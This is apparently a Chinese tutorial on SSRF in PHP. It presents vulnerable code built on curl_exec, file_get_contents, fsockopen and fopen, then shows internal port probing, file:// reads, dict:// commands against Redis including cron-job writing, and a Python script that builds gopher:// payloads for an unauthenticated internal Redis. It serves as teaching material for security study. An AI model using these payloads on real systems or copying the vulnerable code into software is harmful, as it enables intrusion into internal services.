PHP中的SSRF危险函数如下
1 2 3 4 curl_exec ()file_get_content ()fsockopen ()fopen ()
PHP危险函数 curl_exec 使用该函数时使用到了libcurl
库,libcurl
支持http、https、ftp、gopher、telnet、dict、file、ldap
协议
curl可进行DNS缓存,同一个域名下的资源只需要进行一次DNS查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ ); header ("Content-Type: text/html; charset=utf-8" );$url = $_REQUEST ['url' ];$ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, false );curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false );curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER,0 ); curl_exec ($ch );curl_close ($ch );?>
file_get_content 1 2 3 4 5 6 <?php highlight_file (__FILE__ ); header ("Content-Type: text/html; charset=utf-8" );$url = $_REQUEST ['url' ];echo file_get_contents ($url ); ?>
fsockopen 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ ); header ("Content-Type: text/html; charset=utf-8" );$url = parse_url ($_GET [url]);$fp = fsockopen ("$url [host]" , $url [port]?$url [port]:80 , $errno , $errstr , 10 );if (!$fp ){ echo "$errstr ($errno )<br>\n" ;} else {fputs ($fp ,"GET / HTTP/1.0\nHost: $url [host]\n\n" );while (!feof ($fp )) {echo fgets ($fp ,128 );} fclose ($fp );} ?>
fopen 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ ); header ("Content-Type: text/html; charset=utf-8" );$url = $_GET ['url' ];$fp = fopen ($url ,"r" );if (!$fp ){ echo "error<br>\n" ; } else { while (!feof ($fp )) { echo fgets ($fp , 128 ); } } fclose ($fp );?>
漏洞利用 漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ ); header ("Content-Type: text/html; charset=utf-8" );$url = $_REQUEST ['url' ];$ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, false );curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false );curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); 转,除非代码中有Location curl_setopt ($ch , CURLOPT_RETURNTRANSFER,0 ); 回执行结果,如果为true 的话需要使用echo 等函数进行输出 curl_exec ($ch );curl_close ($ch );?>
端口服务探测 当遇到存在的端口时,就有返回内容
1 /xxx.php?url=http://127.0.0.1:端口
file协议文件读取
dict查看banner信息 模板
查看ssh信息
执行info命令查看redis信息
写入计划任务
1 2 3 4 /xxx.php?url=dict: /xxx.php?url=dict: /xxx.php?url=dict: /xxx.php?url=dict:
gopher协议利用 gopher协议可以一条命令执行所有的语句,而dict只能一条一条地执行
模板
payload构造,假设一台机器存在ssrf,且其中的内网环境机子存在redis未授权
请求包处理脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import reimport urllib.parsedata = input ("请求报文: " ) ip = input ("目标ip: " ) port = input ("目标端口:" ) data = urllib.parse.quote(data) strinfo = re.compile ('%0A' , re.I) new = strinfo.sub('%0D%0A' , data) new = 'gopher://' + ip + ':' + port + '/_' + new + '%0D%0A' new = urllib.parse.quote(new) with open ('Result.txt' , 'w' ) as f: f.write(new) with open ('Result.txt' , 'r' ) as f: for line in f.readlines(): print (line.strip())